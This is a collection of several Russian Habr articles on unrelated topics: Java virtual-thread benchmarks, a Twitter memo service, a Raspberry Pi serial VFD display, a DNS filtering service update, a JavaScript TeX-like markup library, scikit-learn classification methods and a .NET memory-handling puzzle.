Можно сделать вывод что в типовом нормальном Джава коде плюсов по производительности от простого включения виртуальных потоков мы не заметим. Если вы у себя её заметили, то стоит покопаться по коду поискать где вы используете потоки для слишком маленьких задач.
Зато мы получаем возможность кидать в отдельный поток просто все что угодно. Разница для микрозадач колоссальна. Это откроет некоторые возможности более удобно писать код и лучше утилизировать все доступные ядра во вроде бы однопоточном коде. Может быть наконец-то появится смысл в `.parallelStream()` при использовании виртуальных потоков внутри.
И как обычно пойдет куча ошибок с созданием слишком большого и ненужного числа виртуальных потоков, со всеми радостями отладки без стектрейсов потом. Исследовать непойманное исключение в логах в котором нет ни одной строчки твоего кода это очень увлекательный процесс.
**АПД**: Следующий тест производительности добавлен по просьбе из комментариев. Спасибо комментатору, который напомнил мне что никогда нельзя доверять мысленным тестам производительности и всегда надо всё проверять на бенчмарками.
Я для этого теста буду использовать немного другие параметры экзекутора. Для максимального приближения к реальности. Допустим есть http сервер с пулом принимающим соединения в 100 потоков и выполняющий в них задачи с паузами в 100мс. У меня на машине всего 4 ядра, значит при нагрузке более 4% скорость работы теста определяется быстродействием кода, а не чем-то еще.
Экзекуторы:
```
Executors.newVirtualThreadPerTaskExecutor()
Executors.newCachedThreadPool()
Executors.newFixedThreadPool(100))
```
Тест:
```
@Benchmark
public void testCachedExecutorNormalTask() {
try (var executor = Executors.newCachedThreadPool()) {
for (int i = 0; i < 100; ++i) {
executor.submit(() -> {
try {
Thread.sleep(100);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
Blackhole.consumeCPU(1_000_000);
});
}
}
}
```
Результаты:
```
100мс ожидания + 20мс работы. Нагрузка пула около 15%,
что очень блико к реальной продакшен нагрузке хорошо сконфигуренного сервера.
Benchmark Mode Cnt Score Error Units
BenchmarkThreading.testCachedExecutorNormalTask avgt 2 677262,310 us/op
BenchmarkThreading.testFixedExecutorNormalTask avgt 2 659306,103 us/op
BenchmarkThreading.testVirtualExecutorNormalTask avgt 2 679307,987 us/op
100мс ожидания + 2мс работы. Тут скорость уже перестала зависеть от скорости работы кода.
Benchmark Mode Cnt Score Error Units
BenchmarkThreading.testCachedExecutorNormalTask avgt 2 196600,036 us/op
BenchmarkThreading.testFixedExecutorNormalTask avgt 2 191974,914 us/op
BenchmarkThreading.testVirtualExecutorNormalTask avgt 2 196900,749 us/op
```
Результаты показывают что при типичной нагрузке на типичный пул http сервера виртуальные потоки не дают никакого заметного ускорения. Если цифры как следует выкрутить в сторону уменьшения аналогично предыдущим тестам мы получим ускорение. Но положа руку на сердце у кого из вас АПИшка работает на порядки быстрее чем в этом тесте?
А что с памятью?
----------------
Уже давно ходят слухи что потоки в Джаве очень прожорливы до памяти. Я читал версии что каждый поток стоит мегабайты памяти просто так на создание. И виртуальные потоки всех нас спасут от покупки дополнительной памяти в наши кластера.
Исследовать расход памяти в Джаве на что-то это довольно неоднозначный процесс. Предлагаю тривиально оценить расход памяти на какое-то число созданных, запущенных и ничего не делающих потоков. Это довольно типовая ситуация когда основная часть потоков висит на IO и ждет данных. Обычно именно таких потоков хочется побольше для удобства разработки.
Приложение для оценки простейшее:
```
public static void main(String[] args) {
for(int i=0; i<100; ++i) {
var thread = new Thread(() -> {
Blackhole.consumeCPU(1);
try {
Thread.sleep(100_000);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
});
thread.start();
}
System.exit(0);
}
```
JDK17 LTS. Тех кто еще не обновился мне уже даже не жалко. Давно пора обновиться было.
```
openjdk version "17.0.3" 2022-04-19
OpenJDK Runtime Environment Temurin-17.0.3+7 (build 17.0.3+7)
OpenJDK 64-Bit Server VM Temurin-17.0.3+7 (build 17.0.3+7, mixed mode, sharing)
```
Никаких особых ключей запуска: `-XX:+UnlockDiagnosticVMOptions -XX:NativeMemoryTracking=summary -XX:+PrintNMTStatistics -Xmx4G`
```
71
Thread (reserved=75855304, committed=4_793_800)
(thread #71) (stack: reserved=75497472, committed=4435968)
(malloc=178456 #744)
(arena=179376 #245)
1_016
Thread (reserved=1069151112, committed=65_549_192)
(thread #1016) (stack: reserved=1066401792, committed=62799872)
(malloc=1526056 #7146)
(arena=1223264 #2040)
10_018
Thread (reserved=10532726584, committed=643_856_184)
(thread #10018) (stack: reserved=10505682944, committed=616812544)
(malloc=15013392 #70316)
(arena=12030248 #20051)
```
Видна хорошая закономерность с расходом около 64 килобайт памяти на пустой поток.
Виртуальные потоки в этом месте память под себя не требуют, и будут занимать что-то схожее с типичным Джава объектом размером в десятки-сотни байт. Можно упрощенно считать что это 0 по сравнению с 64 килобайтами на классический поток.
Выводы
------
Отрицательно:
* Нас ждут увлекательные баталии в код ревью о новых практиках написания кода.
* Количество ошибок с многопоточностью заметно возрастет.
Нейтрально:
* Виртуальные потоки не дадут никакого ускорения в типичном джава приложении без переписывания кода.
* Виртуальные потоки не уменьшат потребление памяти нормально сделанным приложением. 64 килобайта \* 1\_000 типовых потоков, это неинтересно.
Положительно:
* Виртуальные потоки дадут возможность по новому писать код. Паралелим все что не запрещено математикой.
* .parallelStream обретает смысл.
* Виртуальные потоки дадут возможность более эффективно утилизировать доступные ядра. Без выделения больших независимых кусков кода и реактивщины. | https://habr.com/ru/post/676084/ | null | ru | null |
# TwiMem — Twitter + Memories = запоминаем твиты для будущих поколений
Не так давно я уже [делился с общественностью Хабрхабр](http://habrahabr.ru/blogs/i_am_advertising/80836/) своими экспериментами с API социального сервиса микроблоггинга Twitter.
Сегодня я бы хотел рассказать и показать свой новый проект на ниве экспериментов с тем же API.
Представляю вашему вниманию проект рожденный мною в один из вечеров, когда я после безуспешных попыток найти в своем [личном Twitter'е](http://twitter.com/mpak666) один из давних постов с ссылкой на нужный мне в тот момент музыкальный альбом, я подумал, что: «А было бы прикольно запоминать в заметки (мемы от англ. memories) свои или даже чужие твиты».
Сказано — сделано:
##### TwiMem — добавь твиты в Memories
[](http://mrak7.com/download/pics/twimem_fp.jpg) [](http://mrak7.com/download/pics/twimem_inside.jpg)
**Задача**
Нам нужно быстро и просто запомнить свой твит-пост или друга из ленты. Чтобы в дальнейшем можно было просмотреть свои «запоминалки» (мемы) с возможностью удалить их на личной странице, например набрав [twimem.com/%user\_name%](http://twimem.com/%user_name%)
**Решение**
Стоит нам отправить свой твит-пост указав в тексте сообщения тэг #twimem то он сразу же запоминается нашим сайтом <http://twimem.com>, выводится на главную страницу, а так же в личной странице [twimem.com/%user\_name%](http://twimem.com/%user_name%), которую могут просмотреть все желающие. А если войти под своей OAuth авторизацией из Twitter'а в личном кабинете можно удалять ненужные запоминалки (мемы).
И всё. Просто как перочиный ножик. Добавил в мемы, когда надо нашел твит, стал не нужен — удалил. Разумеется, все сообщения сохраняются независимо от Twitter'а и в случае даже его недоступности будут доступны на нашем сайте, что в общем-то является почти backup возможностью своих интересных твитов с учетом еще планов на будущее.
**А именно — планы на будущее**
1. Сделать возможность выгрузить авторизованному пользователю все его мемы в XML формате, эдакий backup экспорт.
2. Сделать обработку тэгов в мем'ах с преобразованием во внутренние тэги.
3. Личные категории мем'ов.
4. — 10. ??? Ваши идеи и предложения?
**Техническая часть**
Расскажу вкратце о технической стороне дела.
Приложение написано полностью на языке программирования PHP. База данных MySQL. Во frontend используется JavaScript. Верстка HTML + CSS, как и программирование JS (JQuery), PHP всё лично я.
Всё приложение технологически разделено на 2 независимые части:
1. Паук (spyder), написан на «чистом» PHP в ООП стиле, для работы с Twitter REST API я написал свой класс, которым мне [не жалко поделиться, берите на здоровье](http://mrak7.com/download/src/twitter.phps).
Пример использования:
`$twitter = new Twitter( $twitter_name, $password );
$mentions = $twitter->get_friends_timeline();`
Паук запускается как cli приложение по cron'у, сканирует все новые твиты с последнего запуска на ключевые тэги, разбирает и запоминает их в базе.
2. Frontend, как раз «лицо» сайта, где мы на главной странице показываем с десяток крайних мемов. С ссылками на личные страницы пользователей. Написано всё на расширенном PHP фреймворке CodeIgniter, так глубоко любимом мною. Под словом расширенный я подразумеваю 5-6 классов написанных мною без затрагивания ядра фреймворка, которые расширяют мои возможности, например очень красив и удобен для меня код такого вида:
`$user = $this->model('user')->find_by_screen_name( $user, 1 );`
автоматом загрузить модель, присоединить к таблице users (множественное число) и найти пользователя по screen\_name полю магическим методом
или
`$data['remembers'] = $this->model('memory')->order_by('date_at', 'DESC')->find( NULL, 10 );`
а это «чанки», так же загрузка и присоединение модели, выборка 10 последних записей с сортировкой
Всё это «inspired by Rails ActiveRecord» и надеюсь расскажу, поделюсь рядом классов по данной тематике в следующий раз.
Для OAuth авторизации я не стал изобретать велосипедов и быстренько сделав ряд исправлений использовал Twitter класс от [Elliot Haughin](http://www.haughin.com/code/twitter) для CodeIgniter.
В целом это всё, чем я бы хотел на сегодня поделиться с человеками Хабрхабр'а.
Спасибо за внимание, приглашаю вас пользоваться [TwiMem сервисом](http://twimem.com) и всегда буду признателен за идеи по развитию и дальнейшему совершенствованию сервиса. | https://habr.com/ru/post/99905/ | null | ru | null |
# Подключение VFD дисплея Futaba GP1183A01B к Raspberry Pi
Для подключения дисплея 16x2 символов к своей Raspberry Pi я выбрал VFD Futaba GP1183A01B. Чем он хорош? Во-первых, это вымирающий вид, дающий «теплый ламповый» люминесцентный свет приятного зеленого цвета (он правда зеленый, это что-то фотоаппарат врет). Во-вторых, для коммуникации он использует последовательный протокол, а значит его можно подключить всего тремя проводами, без использования каких-либо дополнительных приспособлений, а коммуникация с ним будет идти через /dev/tty. В-третьих, питания ему надо как раз 5 вольт, которые уже есть (и даже хватает, правда не всегда).
Я его подключил два года назад, но статью сел писать сейчас — отвалился от дисплея сигнальный провод и я заодно решил рассказать про этот дисплей. Все-таки двольно легко подключается. И они еще продаются!
##### Подключение к Raspberry
Подключаемся через пины GPIO, расположенные слева вверху платы. Нас интересует верхний ряд — первый пин (+5V), третий (GND) и четвертый (TX). По стандартной нумерации это 2, 6 и 8 пины.
Мощности на пине +5V хватает впритык. Если на Raspberry Pi использовать видео, а не HDMI, то VFD не включится. Можно подвести +5V отдельно, например от USB-хаба от которого питается «малинка» — взять красный и черный (GND) провода (обрезать ненужный USB-кабель), не забыв замкнуть черный с GND от GPIO. У меня сейчас так и сделано.
##### Подключение к VFD
Сверху у дисплея есть ряд контактных отверстий для пайки. Нас интересуют левые три в правом блоке из шести отверстий. Первое (+5V), второе (RX), третье (GND). Припаеваем!
##### Настройка VFD
На обратной стороне дисплея имеется четыре перемычки, позволяющие настроить скорость и режим работы. Замыкаем перемычку J1 для того, чтобы скорость была 9600 Бод. В принципе он тянет и 115200, но там начинают пробиваться помехи.
##### Настройка ядра
На используемый нами пин идет вывод сообщений ядра при загрузке (сюрприз!). Чтобы их было видно, надо настроить скорость последовательной консоли — в файле /boot/cmdline.txt надо определить параметр console=ttyAMA0,9600. Файл может быть таким:
```
dwc_otg.lpm_enable=0 console=ttyAMA0,9600 kgdboc=ttyAMA0,9600 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 elevator=deadline rootwait
```
##### Настройка userland
Чтобы после загрузки ничего не выводилось на VFD без нашего участия в файле /etc/inittab надо закомментировать последнюю строчку:
```
#T0:23:respawn:/sbin/getty -L ttyAMA0 9600 vt100
```
##### Фан
Для вывода на экран можно использовать команду echo, например:
```
echo "Privet, Habrahabr!" > /dev/ttyAMA0
```
Возможности экрана довольно велики, можно почитать спецификацию ([поискать в Гугле](https://www.google.ru/?q=gp1183a01b+datasheet)), но я приведу некоторые команды, которыми сам пользуюсь:
очистить экран и поместить курсор в левый верхний угол
```
echo -en "\x0C" > /dev/ttyAMA0
```
от минимальной до максимальной яркости
```
echo -en "\x1F\x58\x01" > /dev/ttyAMA0
echo -en "\x1F\x58\x02" > /dev/ttyAMA0
echo -en "\x1F\x58\x03" > /dev/ttyAMA0
...
echo -en "\x1F\x58\x08" > /dev/ttyAMA0
```
выключить дисплей
```
echo -en "\x1F\x28\x61\x40\x00" > /dev/ttyAMA0
```
включить дисплей
```
echo -en "\x1F\x28\x61\x40\x01" > /dev/ttyAMA0
```
##### Еще Фан
Можно использовать [LCDProc](http://lcdproc.omnipotent.net) для вывода на этот экранчик всяческой информации, например, RaspBMC может через LCDProc выводить на него информацию о текущем пункте меню, состояние воспроизведения. Настройка на RaspBMC потребовала написания драйвера для LCDProc, но это было совсем нетрудно (было удалено четыре строки, рисующие рамку из стандартного драйвера text) если будет возможность, напишу об этом потом.
[update] добавил видео с RaspBMC
К сожалению, руки пока не дошли до русского языка, но он там есть (CP866)! | https://habr.com/ru/post/219251/ | null | ru | null |
# Конспект по методам классификации данных
При изучении Data Science, я решил составить для себя конспект по основным приемам, используемым в анализе данных. В нем отражены названия методов, кратко описана суть и приведен код на Python для быстрого применения. Готовил конспект для себя, но подумал, что кому-то это также может быть полезно, например, перед собеседованием, в соревновании или при запуске нового проекта. Рассчитано на аудиторию, которая в целом знакома со всеми этими методами, но имеет необходимость освежить их в памяти. Статья под катом.
-[Наивный байесовский классификатор](http://datareview.info/article/6-prostyih-shagov-dlya-osvoeniya-naivnogo-bayesovskogo-algoritma-s-primerom-koda-na-python/). Формула расчета вероятности отнесения наблюдения к тому или иному классу:
Например, нужно рассчитать вероятность, что спортивный матч состоится при условии, что погода солнечная. Исходные данные и расчеты приведены в таблице ниже:
Можно посчитать по формуле (3/9) \* (9/14) / (5/14) = 60%, или просто из здравого смысла 3/(2+3)=60%. **Сильные стороны** — легко интерпретировать результат, подходит для больших выборок и мультиклассовой классификации. **Слабые стороны** — не всегда выполняется предположение о независимости характеристик, характеристики должны составлять полную группу событий.
```
#imports
from sklearn.datasets import load_iris
from sklearn.model_selection import train_test_split
from sklearn.naive_bayes import GaussianNB
#model fit
X, y = load_iris(return_X_y=True)
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.5, random_state=0)
gnb = GaussianNB()
y_pred = gnb.fit(X_train, y_train).predict(X_test)
#result
print("Number of mislabeled points out of a total %d points : %d"
% (X_test.shape[0], (y_test != y_pred).sum()))
```
-[Метод ближайших соседей](https://www.youtube.com/watch?v=p9Hny3Cs6rk&list=PLVlY_7IJCMJdgcCtQfzj5j8OVB_Y0GJCl&index=3). Классифицирует каждое наблюдение по степени похожести на остальные наблюдения. Алгоритм является непараметрическим (отсутствуют ограничения на данные, например, функция их распределения) и использует ленивое обучение (не применяются заранее обученные модели, все имеющиеся данные используются во время классификации).
**Сильные стороны** — легко интерпретировать результат, хорошо подходит для задач с малым количеством объясняющих переменных. **Слабые стороны** — невысокая точность по сравнению с другими методами. Требует значительных вычислительных мощностей при большом количестве объясняющих переменных и больших выборках.
```
#imports
from sklearn.neighbors import KNeighborsClassifier
#model fit
X = [[0], [1], [2], [3]]
y = [0, 0, 1, 1]
neigh = KNeighborsClassifier(n_neighbors=3)
neigh.fit(X, y)
#result
print(neigh.predict([[1.1]]))
print(neigh.predict_proba([[0.9]]))
```
-[Метод опорных векторов (SVM)](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%BE%D0%BF%D0%BE%D1%80%D0%BD%D1%8B%D1%85_%D0%B2%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%BE%D0%B2). Каждый объект данных представляется как вектор (точка) в p-мерном пространстве. Задача — разделить точки гиперплоскостью. То есть, можно ли найти такую гиперплоскость, чтобы расстояние от неё до ближайшей точки было максимальным. Искомых гиперплоскостей может быть много, поэтому полагают, что максимизация зазора между классами способствует более уверенной классификации.
**Сильные стороны** — Эффективен при большом количестве гиперпараметров. Способен обрабатывать случаи, когда гиперпараметров больше, чем количество наблюдений. Существует возможность гибко настраивать разделяющую функцию. **Слабые стороны** — в случае, когда наблюдений меньше, чем объясняющих переменных, необходимо применять [методы регуляризации](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B3%D1%83%D0%BB%D1%8F%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F_(%D0%BC%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0)), чтобы не переобучить модель. Также этот метод напрямую не дает вероятностных оценок.
```
#imports
from sklearn import svm
#model fit
X = [[0, 0], [1, 1]]
y = [0, 1]
clf = svm.SVC()
clf.fit(X, y)
#result
clf.predict([[2., 2.]])
```
-[Деревья решений](https://loginom.ru/blog/decision-tree-p1). Разделение данных на подвыборки по определенному условию в виде древовидной структуры. Математически разделение на классы происходит до тех пор, пока не найдутся все условия, определяющие класс максимально точно, т. е. когда в каждом классе отсутствуют представители другого класса. На практике используется ограниченное количество характеристик и слоев, а ветви всегда две.
**Сильные стороны** — возможно моделировать сложные процессы и легко их интерпретировать. Возможна мультиклассовая классификация. **Слабые стороны** — легко переобучить модель, если делать много слоев. Выбросы могут повлиять на точность, решение этих проблем — обрезать нижние уровни.
```
#imports
from sklearn.datasets import load_iris
from sklearn import tree
#model fit
X, y = load_iris(return_X_y=True)
clf = tree.DecisionTreeClassifier()
clf = clf.fit(X, y)
#result
tree.plot_tree(clf.fit(iris.data, iris.target))
```
-[Случайный лес/Ансамбль деревьев](https://ru.wikipedia.org/wiki/Random_forest). Это много бустингов и деревьев решений объединенных вместе. Бустинг — случайная выборка из базовой выборки. За счет большого числа таких подвыборок (random patching) и построения на каждой своей модели увеличивается качество финальной модели за счет усреднения. Для оценки качества модели нужно применять [oob-оценку](https://en.wikipedia.org/wiki/Out-of-bag_error).
**Сильные стороны**: нечувствительность к выбросам, малые требования к предобработке данных, к масштабированию, небольшая чувствительность к гиперпараметрам, разброс модели меньше, а значит она не склонна к переобучению. Так как построение деревьев независимое, то вычисления можно распараллелить. **Слабые стороны** — потребляет память и время, чтобы считать и хранить много деревьев. Не применять, когда признаков очень много (больше 100 000), в этом случае лучше — регрессии.
```
#imports
from sklearn.ensemble import RandomForestClassifier
from sklearn.datasets import make_classification
#model fit
X, y = make_classification(n_samples=1000, n_features=4,
n_informative=2, n_redundant=0,
random_state=0, shuffle=False)
clf = RandomForestClassifier(max_depth=2, random_state=0)
clf.fit(X, y)
#result
print(clf.feature_importances_)
print(clf.predict([[0, 0, 0, 0]]))
```
-[Метод градиентного спуска](http://www.machinelearning.ru/wiki/index.php?title=%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%B3%D1%80%D0%B0%D0%B4%D0%B8%D0%B5%D0%BD%D1%82%D0%BD%D0%BE%D0%B3%D0%BE_%D1%81%D0%BF%D1%83%D1%81%D0%BA%D0%B0). Итерационный алгоритм минимизации функции потерь (по умолчанию [hinge loss function](https://en.wikipedia.org/wiki/Hinge_loss)). Алгоритм также применяется в задачах прогнозирования.
Также есть версия стохастического градиентного спуска, который применяется при больших выборках. Его суть в том что он считает производную не по всей выборке, а по каждому наблюдению (online learning) (или по группе наблюдений mini-batch) и меняет веса. В итоге он приходит в тот же оптимум что и при обычном ГС. Существуют методы применения ГС для МНК, логит, тобит и других методов ([доказательства](https://clck.ru/MFdFo)).
**Сильные стороны**: высокая точность классификации и прогнозирования, подходит для мультиклассовой классификации. **Слабые стороны** — чувствительность к параметрам модели.
```
#imports
from sklearn.linear_model import SGDClassifier
#model fit
X = [[0., 0.], [1., 1.]]
y = [0, 1]
clf = SGDClassifier(loss="hinge", penalty="l2", max_iter=5)
clf.fit(X, y)
#result
clf.predict([[2., 2.]])
clf.coef_
clf.intercept_
```
-[Градиентный бустинг](https://neurohive.io/ru/osnovy-data-science/gradientyj-busting/). Это ансамбли моделей. Строятся регрессии или деревья решений и минимизируется функция потерь, как в градиентном спуске. Используется, когда выборка помещается в память, есть смесь разных признаков.
**Сильные стороны**: высокая точность классификации и прогнозирования, подходит для мультиклассовой классификации, не чувствителен к выбросам, способен решать задачи ранжирования. **Слабые стороны** — требователен к ресурсам компьютера.
```
#imports
import numpy as np
import matplotlib.pyplot as plt
from sklearn import ensemble
from sklearn import datasets
from sklearn.utils import shuffle
from sklearn.metrics import mean_squared_error
#model fit
boston = datasets.load_boston()
X, y = shuffle(boston.data, boston.target, random_state=13)
X = X.astype(np.float32)
offset = int(X.shape[0] * 0.9)
X_train, y_train = X[:offset], y[:offset]
X_test, y_test = X[offset:], y[offset:]
params = {'n_estimators': 500, 'max_depth': 4, 'min_samples_split': 2,
'learning_rate': 0.01, 'loss': 'ls'}
clf = ensemble.GradientBoostingRegressor(**params)
clf.fit(X_train, y_train)
#result
mse = mean_squared_error(y_test, clf.predict(X_test))
print("MSE: %.4f" % mse)
```
-[Логистическая регрессия/logit](http://www.machinelearning.ru/wiki/index.php?title=%D0%9B%D0%BE%D0%B3%D0%B8%D1%82-%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7). Используется для классификации от 0 до 1, доказывается методом максимального правдоподобия ([log likelihood](https://www.youtube.com/watch?v=2iRIqkm1mug)). ММП — это вероятность получить Y при заданных Х и найденных параметрах w.
**Сильные стороны**: хорошо работает, когда гиперпараметры коррелируют с объясняющей переменной. **Слабые стороны** — подходит для бинарной классификации, слабо работает при эндогенности.
```
#imports
from sklearn.datasets import load_iris
from sklearn.linear_model import LogisticRegression
#model fit
X, y = load_iris(return_X_y=True)
clf = LogisticRegression(random_state=0).fit(X, y)
clf.predict(X[:2, :])
#result
clf.predict_proba(X[:2, :])
clf.score(X, y)
```
-[Probit](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B1%D0%B8%D1%82-%D1%80%D0%B5%D0%B3%D1%80%D0%B5%D1%81%D1%81%D0%B8%D1%8F). Отличается от логит модели тем, что предполагает нормальность распределения гиперпараметров, в то время, как логит модель предполагает логистическое распределение.
```
#imports
import statsmodels
#model fit
result_3 = statsmodels.discrete.
discrete_model.Probit(labf_part, ind_var_probit )
#result
print(result_3.summary())
```
-[Tobit](https://ru.wikipedia.org/wiki/%D0%A6%D0%B5%D0%BD%D0%B7%D1%83%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%B0%D1%8F_%D1%80%D0%B5%D0%B3%D1%80%D0%B5%D1%81%D1%81%D0%B8%D1%8F). Применяется, когда зависимая переменная ограничена и непрерывна.
```
#imports
from sklearn.datasets import make_regression
import matplotlib.pyplot as plt
import pandas as pd
from tobit import *
#model fit
tr = TobitModel()
#result
tr = tr.fit(x, y, cens, verbose=False)
tr.coef_
```
Если упущен какой-либо важный метод, пожалуйста, напишите об этом в комментариях. Планируется выпуск статей по обучению без учителя, методам предобработки, методам оценки качества модели, интересным терминам и доказательствам. Спасибо за внимание. | https://habr.com/ru/post/491326/ | null | ru | null |
# Rejector.ru — обновление
**Статья размещена по просьбе [LMik](https://habrahabr.ru/users/lmik/). Если у вас возникнут какие-либо вопросы, он на них с радостью ответит.**
Прошла неделя с момента публикации статьи о новом сервисе [Rejector.ru](http://rejector.ru "Rejector.ru"). За это время мы получили от вас мешок писем с вирутальными пинками и мешочек с благодарностями. Была проделана огромная работа напильником, дабы привести всё в божеский вид. И вот наш отчёт.
### Эти ваши статистики!
В принципе, строить статистику по неделе работы сервиса не совсем корректно, но, может быть, кому-то будет интересно:
— обработано DNS запросов — более 2 000 000;
— из них ошибочных запросов — около 100 000;
— заблокировано по желанию пользователей — около 10 000;
— из них фишинговых запросов заблокировано — около 5 000;
— в DNS кэше — более 300 000 записей;
— среднее время ответа — <10 мс;
— средняя нагрузка на серверах ~ 0,0003%.
### Changelog и все-все-все…
#### Динамические IP
Самым большим камнем в наш огород была проблема работы пользователей с динамическим IP. И мы поймали этот камень! =)
В панели управления в разделе Сеть появилась возможность задать сеть с динамическим IP адресом (гики, не трогайте нас за эту фразу, таков тезаурус нашего сервиса! =) ). Вместо IP в этом случае указывается идентификатор вашей сети, или по-простому — имя хоста (hostname). Кстати, приятный бонус: ваш hostname автоматически становится доступным по имени **hostname.thisip.ru**; в hostname допускаются дефисы и точки.
Так же нами было написано клиентское приложение под Windows! Оно достаточно лаконично, скачать его можно здесь — [http://rejector.ru/\_files/rjdnsc.zip](http://rejector.ru/_files/rjdnsc.zip "Rejector.ru IP Updater").
Если по той или иной причине вы не можете воспользоваться нашим приложением (Mac'и, привет! Мы помним про вас!), для вас доступен наш API, совместимый с DynDNS:
— по адресу [checkip.rejector.ru](http://checkip.rejector.ru/) — выдается текущий IP клиента,
— по адресу http://[USERNAME]:[PASSWORD]@updates.rejector.ru/nic/update?hostname=[YOUR\_HOSTNAME] можно обновить свой текущий IP для сети c идентификатором YOUR\_HOSTNAME. Обязательна BASIC-авторизация.
Работа железного DynDNS клиента была проверена на роутерах D-Link, таких как DIR-300, DIR-655 и т.д.
#### Закладки без редиректа
Ещё одна серьёзная проблема ушла в небытие: отныне вы можете сопоставить имя домена с любым IP-адресом (раздел Закладки). Получился некий аналог локального файла hosts. Зачем это нужно?
Например, web-разработчику нужно держать несколько виртуальных хостов на сервере или локальной машине. Или у вас нет никакого желания запоминать на каком IP живет ваша коридорная веб-камера. Или вы хотите, чтобы ваш retracker.local проснулся от летаргического сна. В этом случае вводим сопоставления в панели управления:
`staging.superproject.ru 127.0.0.1
admin.superproject.ru 127.0.0.2
web-camera 192.168.0.1
retracker.local 212.1.226.162`
#### Распознавание ретрекера для локальных сетей
При запросе **retracker.local** мы проверяем, из какой вы сети, и пытаемся вернуть IP вашего локального ретрекера. В нашей базе пока только несколько диапазонов сети NetByNet, и мы надеемся на вашу помощь в пополнении этой базы. Присылайте ваши IP адреса, IP ретрекера, название сети и/или ссылку на сайт сети на адрес [support@rejector.ru](mailto:support@rejector.ru) с пометкой **RETRACKER**.
#### «Мелочи»
Небольшие по объёму работ, но не менее значимые изменения:
— поправлена форма входа, она теперь ругается при ошибках, так же появилась возможность запоминать вашу сессию;
— в разделе «Блог» добавлена RSS лента;
— зарегистрирован твиттер [http://twitter.com/rejector\_ru](http://twitter.com/rejector_ru "Rejector_ru");
— ускорена работа второго сервера;
— несколько баг-фиксов и оптимизаций.
#### Актуальный TODO
— аксеслисты по маскам;
— аксеслисты по расписанию;
— возможность очистки статистики;
— комьюнити для обновления базы хостов;
— тулбар для браузеров;
— ваши предложения в комментариях к этому материалу.
### Конец Оффтоп
Весь оффтоп у нас кончился по дороге. Так что просто хотим поздравить всех с наступающими праздниками, успехов вам в Новом Году!!!
P.S.: Много не пейте =) | https://habr.com/ru/post/79211/ | null | ru | null |
# TeX-like разметка на Javascript
 При написании [console-like форума](http://habrahabr.ru/blogs/i_am_advertising/67301/) был задан вопрос: «какую разметку лучше использовать?». Среди вариантов были стандартный бб-код ([b]bold[/b]), вики-разметка(\*bold\*), или TeX-like разметка (\b{bold}). После недолгого совещания выбор был остановлен именно на TeX-like. Была написана небольшая библиотека, которая, по моему мнению, достаточно интересна, расширяема и гибка. Желающие посмотреть пример могут перейти по ссылке [freecr.ru/TeX](http://freecr.ru/TeX/)
Библиотека расширяется с помощью плагинов. Есть два типа плагинов — «тег» и «правило». «Тег» — это, сообственно, сам ТеХ-тег, а правило — это функция, применяемая к тексту, который не состоит в тегах. Например, для подсветки url'ов в тексте: «Итак по адресу [www.example.com](http://www.example.com) мы видим \b{сайт-пример}».
Пример добавления правила:
> `TeX.addRule ({
>
> name : 'liveUrls',
>
> func : function (string) {
>
> var urlRE = /((git|svn|ftp|http|https):\/\/(www\.)?|www.)(\w+:{0,1}\w\*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?/gi;
>
> return string.replace(urlRE, function(url) {
>
> var urlFull = (url.indexOf('www') === 0) ? "http://" + url : url;
>
> return "["]("</font> + urlFull + <font color="#A31515">") + url + "";
>
> });
>
> }
>
> });`
Тег добавляется по такому самому принципу:
> `TeX.addTag ({
>
> name : 'b',
>
> args : [1],
>
> func : function (args) {
>
> return "**"** + TeX.markup(args[0]) + "";
>
> }
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Единственное существенное отличие — наличие свойства args у тега. Оно может принимать массив чисел, или строку 'unlimited'. Таким образом, мы указываем, сколько параметров может принять аргумент: например, code может принять два параметра — язык и сам код, или один — только код. Тогда значение будет args: [1, 2] и он примет массив аргуметов с одним или двумя значениями.
Все символы внутри тега не обрабатываются никакими правилами, потому, если необходимо, чтобы обрабатывались, можно вызвать рекурсиво TeX.markup для соответствующего аргумента.
Думаю, понятнее всего принципы работы будут на примере кода:
Сама либа: <http://pastebin.com/f46087804>
Плагины: <http://pastebin.com/f7840dc97>
Ну и для затравки — пример более расширенного плагина, реализующего ксс-подсветку, а-ля:
> \style{float:right}{border:dotted red 2px}{background:#fcc}{text-align:justify}{padding:25px 100px}{display:block}{text is here}
[http://pastebin.com/f4e75d3f6](http://pastebin.com/f4e75d3f6 "Пример плагина style")
Лицензия — LGPL.
Либа достаточно свежая и мало тестировалась, потому возможна некорретная работа. | https://habr.com/ru/post/67388/ | null | ru | null |
# Интересная задачка: повышаем стабильность (robustness) приложений
Продолжаем отрабатывать корпоративный план по формированию правильного общественного мнения о компании Microsoft и ее технологиях :) Время такое.
Итак, вот вам техническая задачка. Насколько я смог найти, ее разъяснения нет даже у Рихтера. К самому решению я надеюсь придти потом, когда будет возможность «подолее невозбранно» посидеть за компьютером, а пока условие.
Как [известно](http://blogs.msdn.com/patrick_dussud/archive/2006/11/21/how-it-all-started-aka-the-birth-of-the-clr.aspx), .Net проектировался с оглядкой на возможность глубокого взаимодействия с нативным кодом и COM. Не будем разбираться сейчас, было ли это техническим или политическим решением, важно вот что — взаимодействие с неуправляемым кодом является сложной проблемой, и может попить немало крови разработчика там, где он не ожидал. Предлагаемая задача — одна из этих.
**UPD:** Решение тут: [habrahabr.ru/blogs/net/69650](http://habrahabr.ru/blogs/net/69650/)
Представьте себе следующий код:
> `IntPtr ptr = Marshal.AllocHGlobal(500); // exception
>
> try
>
> {
>
> // что-то делаем
>
> }
>
> finally
>
> {
>
> Marshall.FreeHGlobal(ptr);
>
> }`
